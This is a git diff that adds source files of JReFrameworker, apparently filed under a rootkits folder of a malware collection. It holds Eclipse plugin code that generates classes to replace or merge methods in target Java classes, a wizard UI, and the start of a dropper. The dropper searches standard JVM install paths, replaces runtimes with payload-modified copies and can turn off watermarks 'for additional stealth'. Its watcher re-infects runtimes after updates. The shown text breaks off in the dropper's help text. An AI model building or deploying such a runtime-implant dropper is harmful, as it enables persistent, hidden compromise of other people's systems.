targetClassPackageName, String targetClassName, Node targetMethod, String visibility) { + // TODO: implement + return new HashSet(); + } + + /** + * Creates logic to merge code into the given class target + * Note: Does not consider prebuild options + * @param targetClass + */ + public Set mergeType(String sourcePackageName, String sourceClassName, String targetClassPackageName, String targetClassName){ + Set sourceFiles = new HashSet(); + sourcePackageName = sourcePackageName.trim(); + checkPackageName(sourcePackageName); + + try { + String qualifiedTargetClass = targetClassPackageName + "." + targetClassName; + + String javadoc = "TODO: Implement class body" + + "\n\nThe contents of this class's bytecode will be used to define, replace, and/or" + + "\nmerge (preserve and replace) with " + sourcePackageName + "." + sourceClassName + " in the target.\n" + + "\nUse the @DefineField and @DefineMethod annotations to insert or replace\n" + + "\nfields and methods. Use the @MergeMethod annotation to preserve and hide the\n" + + "\noriginal method and replace the accessible method.\n"; + + TypeSpec type = TypeSpec.classBuilder(sourceClassName).superclass(searchClasspathForClass(qualifiedTargetClass)) + .addModifiers(Modifier.PUBLIC) + .addAnnotation(MergeType.class) + .addJavadoc(javadoc) + .build(); + + JavaFile javaFile = JavaFile.builder(sourcePackageName, type) + .build(); + + sourceFiles.add(writeSourceFile(sourcePackageName, sourceClassName, javaFile)); + } catch (Throwable t){ + Log.error("Error creating merge type logic", t); + } + return sourceFiles; + } + + /** + * Creates logic to merge code into the given class target + * @param targetClass + */ + public Set mergeType(Node targetClass){ + Set sourceFiles = new HashSet(); + if(targetClass.taggedWith(XCSG.Java.Class)){ + String targetClassPackageName = ClassAnalysis.getPackage(targetClass); + String targetClassName = ClassAnalysis.getName(targetClass); + if(ClassAnalysis.isFinal(targetClass)){ + sourceFiles.addAll(setTypeFinality(targetClassPackageName, (targetClassName + "FinalityPrebuild"), targetClassPackageName, targetClassName, false)); + } + if(ClassAnalysis.isFinal(targetClass)){ + sourceFiles.addAll(setTypeVisibility(targetClassPackageName, (targetClassName + "VisibilityPrebuild"), targetClassPackageName, targetClassName, "public")); + } + sourceFiles.addAll(mergeType(targetClassPackageName, "Merge" + targetClassName , targetClassPackageName, targetClassName)); + } + return sourceFiles; + } + + /** + * Creates logic to replace a class in the given class targets + * @param targetClass + */ + public Set mergeTypes(Q targetClasses){ + return mergeTypes(targetClasses.nodes(XCSG.Java.Class).eval().nodes()); + } + + /** + * Creates logic to replace a class in the given class targets + * @param targetClass + */ + public Set mergeTypes(AtlasSet targetClasses){ + Set sourceFiles = new HashSet(); + for(Node targetClass : targetClasses){ + sourceFiles.addAll(mergeType(targetClass)); + } + return sourceFiles; + } + + /** + * Creates logic to define a new field in the given target classes + * @param fields + */ + public Set defineFields(Q targetClasses){ + return defineFields(targetClasses.nodes(XCSG.Java.Class).eval().nodes()); + } + + /** + * Creates logic to define a new field in the given target classes + * @param field + */ + public Set defineFields(AtlasSet targetClasses){ + Set sourceFiles = new HashSet(); + for(Node field : targetClasses){ + sourceFiles.addAll(defineField(field)); + } + return sourceFiles; + } + + /** + * Creates logic to define a new field in the given target class + * @param field + */ + public Set defineField(Node targetClass){ + Set sourceFiles = new HashSet(); + if(targetClass.taggedWith(XCSG.Java.Class)){ + // TODO: implement + } + return sourceFiles; + } + + /** + * Creates logic to replace code in the given fields + * @param fields + */ + public Set replaceFields(Q fields){ + return replaceFields(fields.nodes(XCSG.Field).eval().nodes()); + } + + /** + * Creates logic to replace code in the given fields + * @param fields + */ + public Set replaceFields(AtlasSet fields){ + Set sourceFiles = new HashSet(); + for(Node field : fields){ + sourceFiles.addAll(replaceField(field)); + } + return sourceFiles; + } + + /** + * Creates logic to replace code in the given field + * @param field + */ + public Set replaceField(Node field){ + Set sourceFiles = new HashSet(); + if(field.taggedWith(XCSG.Field)){ + // TODO: implement + } + return sourceFiles; + } + + /** + * Creates logic to define a new method in the given target classes + * @param methods + */ + public Set defineMethods(Q targetClasses){ + return defineMethods(targetClasses.nodes(XCSG.Java.Class).eval().nodes()); + } + + /** + * Creates logic to define a new method in the given target classes + * @param method + */ + public Set defineMethods(AtlasSet targetClasses){ + Set sourceFiles = new HashSet(); + for(Node method : targetClasses){ + sourceFiles.addAll(defineMethod(method)); + } + return sourceFiles; + } + + /** + * Creates logic to define a new method in the given target class + * @param method + */ + public Set defineMethod(Node targetClass){ + Set sourceFiles = new HashSet(); + if(targetClass.taggedWith(XCSG.Java.Class)){ + // TODO: implement + } + return sourceFiles; + } + + /** + * Creates logic to replace code in the given methods + * @param methods + */ + public Set replaceMethods(Q methods){ + return replaceMethods(methods.nodes(XCSG.Method).eval().nodes()); + } + + /** + * Creates logic to replace code in the given methods + * @param methods + */ + public Set replaceMethods(AtlasSet methods){ + Set sourceFiles = new HashSet(); + for(Node method : methods){ + sourceFiles.addAll(replaceMethod(method)); + } + return sourceFiles; + } + + /** + * Creates logic to replace code in the given method + * @param method + */ + public Set replaceMethod(Node method){ + Set sourceFiles = new HashSet(); + if(method.taggedWith(XCSG.Method)){ + // TODO: implement + } + return sourceFiles; + } + + + public Set mergeMethod(String sourcePackageName, String sourceClassName, Node targetMethod){ + Set sourceFiles = new HashSet(); + Node targetClass = MethodAnalysis.getOwnerClass(targetMethod); + sourcePackageName = sourcePackageName.trim(); + checkPackageName(sourcePackageName); + if(targetClass.taggedWith(XCSG.Java.Class)){ + String targetClassPackageName = ClassAnalysis.getPackage(targetClass); + String targetClassName = ClassAnalysis.getName(targetClass); + if(ClassAnalysis.isFinal(targetClass)){ + sourceFiles.addAll(setTypeFinality(targetClassPackageName, (targetClassName + "TypeFinalityPrebuild"), targetClassPackageName, targetClassName, false)); + } + if(!ClassAnalysis.isPublic(targetClass)){ + sourceFiles.addAll(setTypeVisibility(targetClassPackageName, (targetClassName + "TypeVisibilityPrebuild"), targetClassPackageName, targetClassName, "public")); + } + + String methodName = MethodAnalysis.getName(targetMethod); + String capitalizedMethodName = methodName.substring(0, 1).toUpperCase() + methodName.substring(1); + if(MethodAnalysis.isFinal(targetMethod)){ + sourceFiles.addAll(setMethodFinality(targetClassPackageName, (targetClassName + capitalizedMethodName + "MethodFinalityPrebuild"), targetClassPackageName, targetClassName, targetMethod, false)); + } + if(!ClassAnalysis.isPublic(targetMethod)){ + sourceFiles.addAll(setMethodVisibility(targetClassPackageName, (targetClassName + capitalizedMethodName + "MethodVisibilityPrebuild"), targetClassPackageName, targetClassName, targetMethod, "public")); + } + + try { + String qualifiedTargetClass = targetClassPackageName + "." + targetClassName; + + // figure out the merge method modifiers + ArrayList modifierSet = new ArrayList(); + modifierSet.add(Modifier.PUBLIC); // it will be public after it gets set as public... + if (MethodAnalysis.isStatic(targetMethod)) { + modifierSet.add(Modifier.STATIC); + } + Modifier[] modifiers = new Modifier[modifierSet.size()]; + modifierSet.toArray(modifiers); + + List parameters = new LinkedList(); + for (MethodAnalysis.Parameter parameter : MethodAnalysis.getParameters(targetMethod)) { + @SuppressWarnings("rawtypes") + Class parameterClassType; + if (parameter.isPrimitive()) { + parameterClassType = parameter.getPrimitive(); + } else { + parameterClassType = searchClasspathForClass(parameter.getType()); + if (parameter.isArray()) { + // TODO: how to consider dimension + ArrayTypeName array = ArrayTypeName.of(parameterClassType); + parameters.add(ParameterSpec.builder(array, parameter.getName(), parameter.getModifiers()) + .build()); + } else { + parameters.add(ParameterSpec + .builder(parameterClassType, parameter.getName(), parameter.getModifiers()) + .build()); + } + } + } + + Return ret = MethodAnalysis.getReturnType(targetMethod); + TypeName returnTypeName; + @SuppressWarnings("rawtypes") + Class returnClassType; + if (ret.isPrimitive()) { + returnClassType = ret.getPrimitive(); + } else { + returnClassType = searchClasspathForClass(ret.getType()); + } + if (ret.isArray()) { + // TODO: how to consider dimension + returnTypeName = ArrayTypeName.of(returnClassType); + } else { + returnTypeName = TypeName.get(returnClassType); + } + + MethodSpec method; + if (modifierSet.contains(Modifier.STATIC)) { + method = MethodSpec.methodBuilder(methodName).addModifiers(modifiers).returns(returnTypeName) + .addParameters(parameters).addAnnotation(MergeMethod.class) + .addJavadoc("Use " + targetClassName + "." + methodName + + " to access the preserved original " + methodName + " implementation.\n" + "Use " + + sourceClassName + "." + methodName + " to access this modified " + methodName + + " implementation.\n") + .addComment("TODO: Implement").build(); + } else { + // only add override annotation if the target method is not static + method = MethodSpec.methodBuilder(methodName).addModifiers(modifiers).returns(returnTypeName) + .addParameters(parameters).addAnnotation(MergeMethod.class).addAnnotation(Override.class) + .addJavadoc("Use super." + methodName + " to access the preserved original " + methodName + + " implementation.\n" + "Use this." + methodName + " to access this modified " + + methodName + " implementation.\n") + .addComment("TODO: Implement").build(); + } + + // TODO: consider using addStatement to add a return + // statement of the original implementation result if not + // void return + + TypeSpec type = TypeSpec.classBuilder(sourceClassName) + .superclass(searchClasspathForClass(qualifiedTargetClass)).addModifiers(Modifier.PUBLIC) + .addAnnotation(MergeType.class).addMethod(method).build(); + + JavaFile javaFile = JavaFile.builder(sourcePackageName, type).build(); + + sourceFiles.add(writeSourceFile(sourcePackageName, sourceClassName, javaFile)); + } catch (Throwable t) { + Log.error("Error creating merge method logic", t); + } + } + return sourceFiles; + } + + /** + * Creates logic to preserve and replace accessible code in the given methods + * @param methods + */ + public Set mergeMethods(Q methods){ + return mergeMethods(methods.nodes(XCSG.Method).eval().nodes()); + } + + /** + * Creates logic to preserve and replace accessible code in the given methods + * @param method + */ + public Set mergeMethods(AtlasSet methods){ + Set sourceFiles = new HashSet(); + for(Node method : methods){ + sourceFiles.addAll(mergeMethod(method)); + } + return sourceFiles; + } + + /** + * Creates logic to preserve and replace accessible code in the given method + * @param method + */ + public Set mergeMethod(Node method){ + Set sourceFiles = new HashSet(); + if(method.taggedWith(XCSG.Method)){ + Node targetClass = MethodAnalysis.getOwnerClass(method); + String packageName = ClassAnalysis.getPackage(targetClass); + String className = ClassAnalysis.getName(targetClass); + sourceFiles.addAll(mergeMethod(packageName, ("MergeMethod" + className), method)); + } + return sourceFiles; + } + + /** + * Creates logic to inject code before the given methods are executed + * @param method + */ + public Set addPreExecutionMethodHooks(Q methods){ + return addPreExecutionMethodHooks(methods.nodes(XCSG.Method).eval().nodes()); + } + + /** + * Creates logic to inject code before the given methods are executed + * @param method + */ + public Set addPreExecutionMethodHooks(AtlasSet methods){ + Set sourceFiles = new HashSet(); + for(Node method : methods){ + sourceFiles.addAll(addPreExecutionMethodHook(method)); + } + return sourceFiles; + } + + /** + * Creates logic to inject code before the given method is executed + * @param method + */ + public Set addPreExecutionMethodHook(Node method){ + Set sourceFiles = new HashSet(); + if(method.taggedWith(XCSG.Method)){ + // TODO: implement + } + return sourceFiles; + } + + /** + * Creates logic to inject code after the given methods are executed + * @param method + */ + public Set addPostExecutionMethodHooks(Q methods){ + return addPostExecutionMethodHooks(methods.nodes(XCSG.Method).eval().nodes()); + } + + /** + * Creates logic to inject code after the given methods are executed + * @param method + */ + public Set addPostExecutionMethodHooks(AtlasSet methods){ + Set sourceFiles = new HashSet(); + for(Node method : methods){ + sourceFiles.addAll(addPostExecutionMethodHook(method)); + } + return sourceFiles; + } + + /** + * Creates logic to inject code after the given method is executed + * @param method + */ + public Set addPostExecutionMethodHook(Node method){ + Set sourceFiles = new HashSet(); + if(method.taggedWith(XCSG.Method)){ + // TODO: implement + } + return sourceFiles; + } + + /** + * Just some really weak input sanitization to catch potentially common mistakes + * @param packageName + */ + private void checkPackageName(String packageName) { + if(packageName.contains("/") + || packageName.contains("\\") + || packageName.contains(" ") + || packageName.endsWith(".")){ + throw new IllegalArgumentException("Invalid package name."); + } + } + + /** + * Creates the new source file in the project + * @param packageName + * @param sourceClassName + * @param javaFile + * @throws IOException + * @throws CoreException + */ + private File writeSourceFile(String sourcePackageName, String sourceClassName, JavaFile javaFile) throws IOException, CoreException { + // figure out where to put the source file + String relativePackageDirectory = sourcePackageName.replace(".", "/"); + File sourceFile = new File(project.getProject().getFolder("/src/" + relativePackageDirectory).getLocation().toFile().getAbsolutePath() + + File.separator + sourceClassName + ".java"); + + // make the package directory if its not there already + sourceFile.getParentFile().mkdirs(); + + // write source file out to src folder + FileWriter fileWriter = new FileWriter(sourceFile); + javaFile.writeTo(fileWriter); + fileWriter.close(); + + // refresh the project + refresh(); + + return sourceFile; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/ui/CodeWizardView.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/ui/CodeWizardView.java new file mode 100644 index 0000000..1c907bb --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/ui/CodeWizardView.java @@ -0,0 +1,201 @@ +package com.jreframeworker.atlas.ui; + +import java.io.File; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.jdt.core.JavaCore; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ScrolledComposite; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.ui.part.ViewPart; + +import com.ensoftcorp.atlas.core.db.graph.Graph; +import com.ensoftcorp.atlas.core.log.Log; +import com.ensoftcorp.atlas.core.script.Common; +import com.ensoftcorp.atlas.ui.selection.IAtlasSelectionListener; +import com.ensoftcorp.atlas.ui.selection.SelectionUtil; +import com.ensoftcorp.atlas.ui.selection.event.IAtlasSelectionEvent; +import com.jreframeworker.atlas.codegen.CodeGenerator; +import com.jreframeworker.atlas.codegen.CodeGenerators; +import com.jreframeworker.builder.JReFrameworkerNature; +import com.jreframeworker.common.WorkspaceUtils; +import com.jreframeworker.core.JReFrameworkerProject; + +public class CodeWizardView extends ViewPart { + + /** + * The ID of the view as specified by the extension. + */ + public static final String ID = "com.jreframeworker.atlas.ui.CodeWizardView"; + + // the current Atlas selection + private Graph selection = Common.empty().eval(); + private JReFrameworkerProject jrefProject = null; + private Set codeGenerators; + private Map codeGeneratorButtons; + + public CodeWizardView() {} + + @Override + public void setFocus() {} + + @Override + public void createPartControl(Composite parent) { + // initialize code generators + CodeGenerators.loadCodeGeneratorContributions(); + codeGenerators = CodeGenerators.getRegisteredCodeGenerators(); + codeGeneratorButtons = new HashMap(); + + parent.setLayout(new GridLayout(1, false)); + + Group activeProjectGroup = new Group(parent, SWT.NONE); + activeProjectGroup.setText("Project"); + activeProjectGroup.setLayout(new GridLayout(1, false)); + activeProjectGroup.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 1, 1)); + + Composite activeProjectComposite = new Composite(activeProjectGroup, SWT.NONE); + activeProjectComposite.setLayout(new GridLayout(2, false)); + activeProjectComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label activeProjectLabel = new Label(activeProjectComposite, SWT.NONE); + activeProjectLabel.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + activeProjectLabel.setText("Active Project: "); + + Combo activeProjectCombo = new Combo(activeProjectComposite, SWT.NONE); + activeProjectCombo.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + activeProjectCombo.removeAll(); + for(IProject project : ResourcesPlugin.getWorkspace().getRoot().getProjects()){ + if(project.exists()){ + try { + // open project if it is closed + if(!project.isOpen()){ + project.open(new NullProgressMonitor()); + } + // if the project is a JReFrameworker project + if(project.hasNature(JReFrameworkerNature.NATURE_ID) && project.hasNature(JavaCore.NATURE_ID)){ + JReFrameworkerProject jrefProject = new JReFrameworkerProject(project); + String projectName = jrefProject.getJavaProject().getProject().getName(); + activeProjectCombo.add(projectName); + activeProjectCombo.setData(projectName, jrefProject); + } + } catch (CoreException e) { + String message = "Error opening project."; + Log.warning(message, new IllegalArgumentException(message)); + } + } + } + + if(activeProjectCombo.getItemCount() == 1){ + activeProjectCombo.select(0); + jrefProject = (JReFrameworkerProject) activeProjectCombo.getData(activeProjectCombo.getText()); + } + + activeProjectCombo.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + jrefProject = (JReFrameworkerProject) activeProjectCombo.getData(activeProjectCombo.getText()); + } + }); + + Group codeGenerationGroup = new Group(parent, SWT.NONE); + codeGenerationGroup.setText("Code Generation"); + codeGenerationGroup.setLayout(new GridLayout(1, false)); + codeGenerationGroup.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + ScrolledComposite codeGenerationScrolledComposite = new ScrolledComposite(codeGenerationGroup, SWT.BORDER | SWT.V_SCROLL); + codeGenerationScrolledComposite.setExpandVertical(true); + codeGenerationScrolledComposite.setExpandHorizontal(true); + codeGenerationScrolledComposite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + Composite codeGenerationScrolledContentComposite = new Composite(codeGenerationScrolledComposite, SWT.NONE); + codeGenerationScrolledContentComposite.setLayout(new GridLayout(1, false)); + + List sortedCategories = new ArrayList(CodeGenerators.getRegisteredCodeGeneratorCategories()); + Collections.sort(sortedCategories); + for(String category : sortedCategories){ + Group codeGenerationCategoryGroup = new Group(codeGenerationScrolledContentComposite, SWT.NONE); + codeGenerationCategoryGroup.setText(category); + codeGenerationCategoryGroup.setLayout(new GridLayout(2, false)); + codeGenerationCategoryGroup.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + List sortedCodeGenerators = new ArrayList(CodeGenerators.getCodeGeneratorsForCategory(category)); + Collections.sort(sortedCodeGenerators, new Comparator(){ + @Override + public int compare(CodeGenerator cg1, CodeGenerator cg2) { + return cg1.getName().compareTo(cg2.getName()); + } + }); + for(CodeGenerator codeGenerator : sortedCodeGenerators){ + Button codeGenerationButton = new Button(codeGenerationCategoryGroup, SWT.NONE); + codeGenerationButton.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + codeGenerationButton.setText(codeGenerator.getName()); + codeGenerationButton.setEnabled(false); + codeGeneratorButtons.put(codeGenerator, codeGenerationButton); + + codeGenerationButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + Set sourceFiles = codeGenerator.generateCode(jrefProject, Common.toQ(selection)); + for(File sourceFile : sourceFiles){ + WorkspaceUtils.openFileInEclipseEditor(sourceFile); + } + } + }); + + StyledText codeGenerationDescriptionText = new StyledText(codeGenerationCategoryGroup, SWT.BORDER); + codeGenerationDescriptionText.setEditable(false); + codeGenerationDescriptionText.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + codeGenerationDescriptionText.setText(codeGenerator.getDescription()); + } + } + + codeGenerationScrolledComposite.setContent(codeGenerationScrolledContentComposite); + codeGenerationScrolledComposite.setMinSize(codeGenerationScrolledContentComposite.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + + // setup the Atlas selection event listener + IAtlasSelectionListener selectionListener = new IAtlasSelectionListener(){ + @Override + public void selectionChanged(IAtlasSelectionEvent atlasSelection) { + try { + selection = atlasSelection.getSelection().eval(); + } catch (Exception e){ + selection = Common.empty().eval(); + } + + for(CodeGenerator codeGenerator : codeGenerators){ + Button codeGenerationButton = codeGeneratorButtons.get(codeGenerator); + if(codeGenerationButton != null){ + if(jrefProject != null){ + codeGenerationButton.setEnabled(codeGenerator.isApplicableTo(Common.toQ(selection))); + } else { + codeGenerationButton.setEnabled(false); + } + } + } + } + }; + + // add the selection listener + SelectionUtil.addSelectionListener(selectionListener); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/swing2swt.jar b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/swing2swt.jar new file mode 100644 index 0000000..a09053c Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/swing2swt.jar differ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.classpath new file mode 100644 index 0000000..54bcb6b --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.gitignore new file mode 100644 index 0000000..ae3c172 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.gitignore @@ -0,0 +1 @@ +/bin/ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.project new file mode 100644 index 0000000..fe1aa2a --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.project @@ -0,0 +1,17 @@ + + + com.jreframeworker.dropper.core + + + + + + org.eclipse.jdt.core.javabuilder + + + + + + org.eclipse.jdt.core.javanature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..3a21537 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,11 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.8 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.8 diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/build-dropper.ant.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/build-dropper.ant.xml new file mode 100644 index 0000000..d8674c3 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/build-dropper.ant.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + + + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/src/com/jreframeworker/dropper/Dropper.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/src/com/jreframeworker/dropper/Dropper.java new file mode 100644 index 0000000..daf901e --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/src/com/jreframeworker/dropper/Dropper.java @@ -0,0 +1,724 @@ +package com.jreframeworker.dropper; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.io.RandomAccessFile; +import java.io.StringReader; +import java.io.StringWriter; +import java.nio.channels.FileChannel; +import java.nio.channels.FileLock; +import java.nio.channels.OverlappingFileLockException; +import java.nio.file.Files; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Scanner; +import java.util.Set; +import java.util.jar.JarException; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.parsers.ParserConfigurationException; +import javax.xml.transform.OutputKeys; +import javax.xml.transform.Transformer; +import javax.xml.transform.TransformerException; +import javax.xml.transform.TransformerFactory; +import javax.xml.transform.dom.DOMSource; +import javax.xml.transform.stream.StreamResult; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NamedNodeMap; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.InputSource; +import org.xml.sax.SAXException; + +import com.jreframeworker.engine.Engine; +import com.jreframeworker.engine.utils.JarModifier; + +public class Dropper { + + // jar contents + public static final String CONFIG_FILE = "config.xml"; + public static final String PAYLOAD_DIRECTORY = "payloads"; + public static final String WATERMARK = "jref"; + + // configuration keys + public static final String MERGE_RENAME_PREFIX = "merge-rename-prefix"; + + public static final String[] JVM_LOCATIONS = { + // Linux + "/usr/java/", + "/usr/lib/jvm/", + // OSX + "/Library/Java/", + "/System/Library/Frameworks/JavaVM.framework/", + "/usr/libexec/java_home/", + // Windows + "C:\\Program Files\\Java\\", + "C:\\Program Files (x86)\\Java\\", + "C:\\Windows\\System32\\Java\\", + "C:\\Windows\\SysWOW64\\Java\\" + }; + + private static final String VERSION_LONG_ARGUMENT = "--version"; + private static final String VERSION_SHORT_ARGUMENT = "-v"; + private static final String VERSION_DESCRIPTION = "1.3.1"; + + private static final String ENFORCE_SINGLE_INSTANCE_LONG_ARGUMENT = "--single-instance"; + private static final String ENFORCE_SINGLE_INSTANCE_SHORT_ARGUMENT = "-si"; + private static final String ENFORCE_SINGLE_INSTANCE_DESCRIPTION = " This flag enforces (using a file lock) that only a single instance of the dropper may execute at one time."; + private static boolean singleInstance = false; + + private static final String SAFETY_OFF_LONG_ARGUMENT = "--safety-off"; + private static final String SAFETY_OFF_SHORT_ARGUMENT = "-so"; + private static final String SAFETY_OFF_DESCRIPTION = " This flag must be specified to execute the modifications specified by embedded payloads (enabling the flag disables the built-in safety)."; + private static boolean safetyOff = false; + + private static final String OUTPUT_DIRECTORY_LONG_ARGUMENT = "--output-directory"; + private static final String OUTPUT_DIRECTORY_SHORT_ARGUMENT = "-o"; + private static final String OUTPUT_DIRECTORY_DESCRIPTION = " Specifies the output directory to save modified runtimes, if not specified output files will be written as temporary files."; + private static File outputDirectory = null; + + private static final String REPLACE_TARGET_LONG_ARGUMENT = "--replace-target"; + private static final String REPLACE_TARGET_SHORT_ARGUMENT = "-r"; + private static final String REPLACE_TARGET_DESCRIPTION = " Attempt to replace target with modified target."; + private static boolean replaceTarget = false; + + private static final String PRINT_TARGETS_LONG_ARGUMENT = "--print-targets"; + private static final String PRINT_TARGETS_SHORT_ARGUMENT = "-pt"; + private static final String PRINT_TARGETS_DESCRIPTION = " Prints the targets of the dropper and exits."; + private static boolean printTargets = false; + + private static final String PRINT_PAYLOADS_LONG_ARGUMENT = "--print-payloads"; + private static final String PRINT_PAYLOADS_SHORT_ARGUMENT = "-pp"; + private static final String PRINT_PAYLOADS_DESCRIPTION = " Prints the payloads of the dropper and exits."; + private static boolean printPayloads = false; + + private static final String SEARCH_DIRECTORIES_LONG_ARGUMENT = "--search-directories"; + private static final String SEARCH_DIRECTORIES_SHORT_ARGUMENT = "-s"; + private static final String SEARCH_DIRECTORIES_DESCRIPTION = " Specifies a comma separated list of directory paths to search for targets, if not specified a default set of search directories will be used."; + + private static final String PRINT_WATERMARKED_LONG_ARGUMENT = "--print-watermarked"; + private static final String PRINT_WATERMARKED_SHORT_ARGUMENT = "-pw"; + private static final String PRINT_WATERMARKED_DESCRIPTION = " Prints watermarked targets found on search paths."; + private static boolean printWatermarked = false; + + private static boolean watermark = true; + private static final String DISABLE_WATERMARK_LONG_ARGUMENT = "--disable-watermarking"; + private static final String DISABLE_WATERMARK_SHORT_ARGUMENT = "-dw"; + private static final String DISABLE_WATERMARK_DESCRIPTION = " Disables watermarking the modified target (can be used for additional stealth, but could also cause problems for watchers). Watermarks are used to prevent remodifying a target."; + + private static boolean ignoreWatermarks = false; + private static final String IGNORE_WATERMARK_LONG_ARGUMENT = "--ignore-watermarks"; + private static final String IGNORE_WATERMARK_SHORT_ARGUMENT = "-iw"; + private static final String IGNORE_WATERMARK_DESCRIPTION = " Ignores watermarks and modifies targets regardless of whether or not they have been previously modified."; + + private static final String WATCHER_SLEEP_TIME_LONG_ARGUMENT = "--watcher-sleep"; + private static final String WATCHER_SLEEP_TIME_SHORT_ARGUMENT = "-ws"; + private static final String WATCHER_SLEEP_TIME_DESCRIPTION = " The amount of time in milliseconds to sleep between watcher checks."; + private static long watcherSleepTime = (long) (1000 * 60); // 1 minute + + private static boolean watcher = false; + private static final String WATCHER_LONG_ARGUMENT = "--watcher"; + private static final String WATCHER_SHORT_ARGUMENT = "-w"; + private static final String WATCHER_DESCRIPTION = " Enables a watcher process that waits to modify any discovered runtimes until the file hash of the runtime has changed (by default the process sleeps for 1 minute, unless the " + WATCHER_SLEEP_TIME_LONG_ARGUMENT + " argument is specified)."; + + private static final String DEBUG_LONG_ARGUMENT = "--debug"; + private static final String DEBUG_SHORT_ARGUMENT = "-d"; + private static final String DEBUG_DESCRIPTION = " Prints debug information."; + private static boolean debug = false; + + private static final String HELP_LONG_ARGUMENT = "--help"; + private static final String HELP_SHORT_ARGUMENT = "-h"; + private static final String HELP_DESCRIPTION = "Usage: java -jar dropper.jar [options]\n" + + HELP_LONG_ARGUMENT + ", " + HELP_SHORT_ARGUMENT + " Prints this menu and exits.\n" + + SAFETY_OFF_LONG_ARGUMENT + ", " + 